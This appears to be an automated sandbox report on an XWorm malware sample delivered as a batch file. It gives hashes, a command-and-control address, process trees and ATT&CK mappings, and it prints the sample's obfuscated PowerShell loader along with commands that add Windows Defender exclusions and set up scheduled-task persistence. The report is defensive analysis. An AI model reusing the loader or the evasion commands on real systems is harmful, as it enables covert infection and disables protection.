Analysis
-
max time kernel
67s -
max time network
79s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
31/10/2024, 01:46
Static task
static1
Behavioral task
behavioral1
Sample
skibidi toilet.bat
Resource
win11-20241007-en
Errors
General
-
Target
skibidi toilet.bat
-
Size
385KB
-
MD5
bd4af530d004a712f796171f4c748bd0
-
SHA1
22b50637859441a9024bef4c367f4ddb4bc12a9c
-
SHA256
57e2b4dc37fad695aaf7cd4841e37d66c7a84fe61eefbc1183261b628ac87dbf
-
SHA512
b7266ca4041ec8c1b9b59b0075d154c6100f8431903701522c51c31cfcece84ccec2623dad9a9a13b266e6d252f7393c27536994ef76c079f5f18bd9e66f126b
-
SSDEEP
6144:UfSqeucViW45gbfeJxrvJYYVOfpsMRxUQvRRTpFvGHk46g+o:Uz4C3JdngbIMRZfeHF
Malware Config
Extracted
xworm
193.161.193.99:25993
-
Install_directory
%AppData%
-
install_file
USB.exe
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/648-209-0x00000254EDC40000-0x00000254EDC4E000-memory.dmp disable_win_def -
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/648-51-0x00000254ED850000-0x00000254ED864000-memory.dmp family_xworm -
Xworm family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 1 648 powershell.exe 3 648 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
pid Process 244 powershell.exe 3132 powershell.exe 648 powershell.exe 2300 powershell.exe 3684 powershell.exe 4604 powershell.exe 4664 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 2216 System User -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000\Software\Microsoft\Windows\CurrentVersion\Run\System User = "C:\\Users\\Admin\\AppData\\Roaming\\System User" powershell.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\System User svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2800 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 244 powershell.exe 244 powershell.exe 3132 powershell.exe 3132 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 2300 powershell.exe 2300 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 3684 powershell.exe 3684 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 4604 powershell.exe 4604 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 4664 powershell.exe 4664 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe 648 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3296 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 244 powershell.exe Token: SeDebugPrivilege 3132 powershell.exe Token: SeIncreaseQuotaPrivilege 3132 powershell.exe Token: SeSecurityPrivilege 3132 powershell.exe Token: SeTakeOwnershipPrivilege 3132 powershell.exe Token: SeLoadDriverPrivilege 3132 powershell.exe Token: SeSystemProfilePrivilege 3132 powershell.exe Token: SeSystemtimePrivilege 3132 powershell.exe Token: SeProfSingleProcessPrivilege 3132 powershell.exe Token: SeIncBasePriorityPrivilege 3132 powershell.exe Token: SeCreatePagefilePrivilege 3132 powershell.exe Token: SeBackupPrivilege 3132 powershell.exe Token: SeRestorePrivilege 3132 powershell.exe Token: SeShutdownPrivilege 3132 powershell.exe Token: SeDebugPrivilege 3132 powershell.exe Token: SeSystemEnvironmentPrivilege 3132 powershell.exe Token: SeRemoteShutdownPrivilege 3132 powershell.exe Token: SeUndockPrivilege 3132 powershell.exe Token: SeManageVolumePrivilege 3132 powershell.exe Token: 33 3132 powershell.exe Token: 34 3132 powershell.exe Token: 35 3132 powershell.exe Token: 36 3132 powershell.exe Token: SeIncreaseQuotaPrivilege 3132 powershell.exe Token: SeSecurityPrivilege 3132 powershell.exe Token: SeTakeOwnershipPrivilege 3132 powershell.exe Token: SeLoadDriverPrivilege 3132 powershell.exe Token: SeSystemProfilePrivilege 3132 powershell.exe Token: SeSystemtimePrivilege 3132 powershell.exe Token: SeProfSingleProcessPrivilege 3132 powershell.exe Token: SeIncBasePriorityPrivilege 3132 powershell.exe Token: SeCreatePagefilePrivilege 3132 powershell.exe Token: SeBackupPrivilege 3132 powershell.exe Token: SeRestorePrivilege 3132 powershell.exe Token: SeShutdownPrivilege 3132 powershell.exe Token: SeDebugPrivilege 3132 powershell.exe Token: SeSystemEnvironmentPrivilege 3132 powershell.exe Token: SeRemoteShutdownPrivilege 3132 powershell.exe Token: SeUndockPrivilege 3132 powershell.exe Token: SeManageVolumePrivilege 3132 powershell.exe Token: 33 3132 powershell.exe Token: 34 3132 powershell.exe Token: 35 3132 powershell.exe Token: 36 3132 powershell.exe Token: SeIncreaseQuotaPrivilege 3132 powershell.exe Token: SeSecurityPrivilege 3132 powershell.exe Token: SeTakeOwnershipPrivilege 3132 powershell.exe Token: SeLoadDriverPrivilege 3132 powershell.exe Token: SeSystemProfilePrivilege 3132 powershell.exe Token: SeSystemtimePrivilege 3132 powershell.exe Token: SeProfSingleProcessPrivilege 3132 powershell.exe Token: SeIncBasePriorityPrivilege 3132 powershell.exe Token: SeCreatePagefilePrivilege 3132 powershell.exe Token: SeBackupPrivilege 3132 powershell.exe Token: SeRestorePrivilege 3132 powershell.exe Token: SeShutdownPrivilege 3132 powershell.exe Token: SeDebugPrivilege 3132 powershell.exe Token: SeSystemEnvironmentPrivilege 3132 powershell.exe Token: SeRemoteShutdownPrivilege 3132 powershell.exe Token: SeUndockPrivilege 3132 powershell.exe Token: SeManageVolumePrivilege 3132 powershell.exe Token: 33 3132 powershell.exe Token: 34 3132 powershell.exe Token: 35 3132 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 648 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4016 wrote to memory of 3340 4016 cmd.exe 78 PID 4016 wrote to memory of 3340 4016 cmd.exe 78 PID 4016 wrote to memory of 244 4016 cmd.exe 79 PID 4016 wrote to memory of 244 4016 cmd.exe 79 PID 244 wrote to memory of 3132 244 powershell.exe 80 PID 244 wrote to memory of 3132 244 powershell.exe 80 PID 244 wrote to memory of 4928 244 powershell.exe 83 PID 244 wrote to memory of 4928 244 powershell.exe 83 PID 4928 wrote to memory of 544 4928 WScript.exe 84 PID 4928 wrote to memory of 544 4928 WScript.exe 84 PID 544 wrote to memory of 4904 544 cmd.exe 86 PID 544 wrote to memory of 4904 544 cmd.exe 86 PID 544 wrote to memory of 648 544 cmd.exe 87 PID 544 wrote to memory of 648 544 cmd.exe 87 PID 648 wrote to memory of 3296 648 powershell.exe 52 PID 648 wrote to memory of 2552 648 powershell.exe 46 PID 648 wrote to memory of 1756 648 powershell.exe 30 PID 648 wrote to memory of 2056 648 powershell.exe 36 PID 648 wrote to memory of 1556 648 powershell.exe 27 PID 648 wrote to memory of 2540 648 powershell.exe 45 PID 648 wrote to memory of 1160 648 powershell.exe 34 PID 648 wrote to memory of 3912 648 powershell.exe 59 PID 648 wrote to memory of 1148 648 powershell.exe 19 PID 648 wrote to memory of 1736 648 powershell.exe 29 PID 648 wrote to memory of 944 648 powershell.exe 11 PID 648 wrote to memory of 1140 648 powershell.exe 18 PID 648 wrote to memory of 1132 648 powershell.exe 17 PID 648 wrote to memory of 1524 648 powershell.exe 26 PID 648 wrote to memory of 3664 648 powershell.exe 66 PID 648 wrote to memory of 3080 648 powershell.exe 51 PID 648 wrote to memory of 1700 648 powershell.exe 28 PID 648 wrote to memory of 1300 648 powershell.exe 22 PID 648 wrote to memory of 2476 648 powershell.exe 65 PID 648 wrote to memory of 3456 648 powershell.exe 54 PID 648 wrote to memory of 2460 648 powershell.exe 43 PID 648 wrote to memory of 4620 648 powershell.exe 72 PID 648 wrote to memory of 460 648 powershell.exe 68 PID 648 wrote to memory of 1264 648 powershell.exe 21 PID 648 wrote to memory of 1460 648 powershell.exe 25 PID 648 wrote to memory of 2640 648 powershell.exe 48 PID 648 wrote to memory of 472 648 powershell.exe 14 PID 648 wrote to memory of 1060 648 powershell.exe 16 PID 648 wrote to memory of 2240 648 powershell.exe 39 PID 648 wrote to memory of 3416 648 powershell.exe 53 PID 648 wrote to memory of 2036 648 powershell.exe 33 PID 648 wrote to memory of 1044 648 powershell.exe 15 PID 648 wrote to memory of 2420 648 powershell.exe 42 PID 648 wrote to memory of 1828 648 powershell.exe 31 PID 648 wrote to memory of 1624 648 powershell.exe 71 PID 648 wrote to memory of 1424 648 powershell.exe 24 PID 648 wrote to memory of 1224 648 powershell.exe 74 PID 648 wrote to memory of 1416 648 powershell.exe 23 PID 648 wrote to memory of 2588 648 powershell.exe 47 PID 648 wrote to memory of 812 648 powershell.exe 8 PID 648 wrote to memory of 1204 648 powershell.exe 20 PID 648 wrote to memory of 2384 648 powershell.exe 41 PID 648 wrote to memory of 4348 648 powershell.exe 62 PID 648 wrote to memory of 2376 648 powershell.exe 40 PID 648 wrote to memory of 996 648 powershell.exe 12 PID 648 wrote to memory of 1976 648 powershell.exe 32 PID 648 wrote to memory of 1972 648 powershell.exe 35 PID 648 wrote to memory of 2168 648 powershell.exe 38 PID 648 wrote to memory of 2300 648 powershell.exe 88 PID 648 wrote to memory of 2300 648 powershell.exe 88 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵PID:812
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:944
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:996
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:472
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1044
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1060
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1132 -
C:\Users\Admin\AppData\Roaming\System User"C:\Users\Admin\AppData\Roaming\System User"2⤵
- Executes dropped EXE
PID:2216
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1140
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1148
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1204
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1264
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1300
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1416
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1424
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1460
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1524
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1556
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1700
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1736
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1756
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1828
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1976
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2036
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1160
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1972
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2056
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2168
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2240
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2376
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2384
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2420
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2460
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2540
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2552
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2588
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2640
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3080
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3296 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\skibidi toilet.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4016 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('om5QDpz+YB720rzQSYX8wId74inmoR6vz07aL7HDKD0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aq3pnaEo9mphTtVuzj3ZHw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TnSRM=New-Object System.IO.MemoryStream(,$param_var); $QPGnf=New-Object System.IO.MemoryStream; $HCoKQ=New-Object System.IO.Compression.GZipStream($TnSRM, [IO.Compression.CompressionMode]::Decompress); $HCoKQ.CopyTo($QPGnf); $HCoKQ.Dispose(); $TnSRM.Dispose(); $QPGnf.Dispose(); $QPGnf.ToArray();}function execute_function($param_var,$param2_var){ $deAso=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $EqiGg=$deAso.EntryPoint; $EqiGg.Invoke($null, $param2_var);}$qfQMh = 'C:\Users\Admin\AppData\Local\Temp\skibidi toilet.bat';$host.UI.RawUI.WindowTitle = $qfQMh;$UJtTy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qfQMh).Split([Environment]::NewLine);foreach ($rTczV in $UJtTy) { if ($rTczV.StartsWith('KUVjIfwfBwDfXoqrZwfw')) { $XCsJx=$rTczV.Substring(20); break; }}$payloads_var=[string[]]$XCsJx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:3340
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:244 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_849_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.vbs"4⤵
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:544 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('om5QDpz+YB720rzQSYX8wId74inmoR6vz07aL7HDKD0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aq3pnaEo9mphTtVuzj3ZHw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TnSRM=New-Object System.IO.MemoryStream(,$param_var); $QPGnf=New-Object System.IO.MemoryStream; $HCoKQ=New-Object System.IO.Compression.GZipStream($TnSRM, [IO.Compression.CompressionMode]::Decompress); $HCoKQ.CopyTo($QPGnf); $HCoKQ.Dispose(); $TnSRM.Dispose(); $QPGnf.Dispose(); $QPGnf.ToArray();}function execute_function($param_var,$param2_var){ $deAso=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $EqiGg=$deAso.EntryPoint; $EqiGg.Invoke($null, $param2_var);}$qfQMh = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.bat';$host.UI.RawUI.WindowTitle = $qfQMh;$UJtTy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qfQMh).Split([Environment]::NewLine);foreach ($rTczV in $UJtTy) { if ($rTczV.StartsWith('KUVjIfwfBwDfXoqrZwfw')) { $XCsJx=$rTczV.Substring(20); break; }}$payloads_var=[string[]]$XCsJx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:4904
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2300
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3684
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4604
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4664
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"7⤵
- Scheduled Task/Job: Scheduled Task
PID:2800
-
-
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3416
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3456
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3912
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4348
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2476
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3664
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:460
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1624
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4620
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1224
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5df472dcddb36aa24247f8c8d8a517bd7
SHA16f54967355e507294cbc86662a6fbeedac9d7030
SHA256e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
SHA51206383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
-
Filesize
62KB
MD5e566632d8956997225be604d026c9b39
SHA194a9aade75fffc63ed71404b630eca41d3ce130e
SHA256b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
SHA512f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
-
Filesize
1KB
MD53ec0d76d886b2f4b9f1e3da7ce9e2cd7
SHA168a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea
SHA256214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5
SHA512a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6
-
Filesize
1KB
MD5f65feb0fbbd0fcb9da91d117a38e4f31
SHA195b1256dd050df6d555a4d06d4dc7ac542b6a070
SHA256cb0bff45abfcccadc000e77840ccf5004ae4197a8d98baab877e6e9c238bba0c
SHA5120715ba19e75a60eeb6cf98f4bc80980f1f1e681bd69d3ce242bf1c50787b82eb99064de0c0753c4259dcc8837a65ac2b7c84b3c1f114200cb252c05e448b1776
-
Filesize
944B
MD5bb2e67cbcb7e9d7b2e2c0353c2bf70de
SHA197042d25c3bc99891404dcbeb0aa671b162cced5
SHA256096767851a7fcb84d0fef3a873d1bfdd5b28bc23c99e07e4246fab1e68033154
SHA512fa143c71e8902c609bd4b89efa828bac7f44687d3d0c9c8cbcdb437033de006b1270e592f56d3494b4e26f42d3f360935b61d20d879d5431492f44d033720667
-
Filesize
944B
MD5cef328ddb1ee8916e7a658919323edd8
SHA1a676234d426917535e174f85eabe4ef8b88256a5
SHA256a1b5b7ada8ebc910f20f91ada3991d3321104e9da598c958b1edac9f9aca0e90
SHA512747400c20ca5b5fd1b54bc24e75e6a78f15af61df263be932d2ee7b2f34731c2de8ce03b2706954fb098c1ac36f0b761cf37e418738fa91f2a8ea78572f545cb
-
Filesize
944B
MD54ae54c3a00d1d664f74bfd4f70c85332
SHA167f3ed7aaea35153326c1f907c0334feef08484c
SHA2561e56a98f74d4a604bef716b47ef730d88f93aec57a98c89aa4423394cbc95b5c
SHA512b3bbdefeaadbdaac00f23ce3389bbd3b565bd7e0079aeebf3e4afba892382e1cd3896c00bb2e5a98146ac593f9bdc5568d0bd08c5b0139f0814b1a38911c3889
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
385KB
MD5bd4af530d004a712f796171f4c748bd0
SHA122b50637859441a9024bef4c367f4ddb4bc12a9c
SHA25657e2b4dc37fad695aaf7cd4841e37d66c7a84fe61eefbc1183261b628ac87dbf
SHA512b7266ca4041ec8c1b9b59b0075d154c6100f8431903701522c51c31cfcece84ccec2623dad9a9a13b266e6d252f7393c27536994ef76c079f5f18bd9e66f126b
-
Filesize
124B
MD541579296f72fb20197512c8fd53e3365
SHA1a6253f242a21c7feb7ceff5b5deb809f0f4ebebd
SHA2568a457627d1132dee7543c212812c9267c98635ca1dacba18f279c5918ff815b5
SHA51293ed4b3ba5cfa45db30cfb02b38985e737fdda641cb089535e893fd1cf29a3e83e69e441890ca72fae2d5fa49a74374851cb747a1202b38c2a39beda55f46550
-
Filesize
440KB
MD50e9ccd796e251916133392539572a374
SHA1eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA256c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
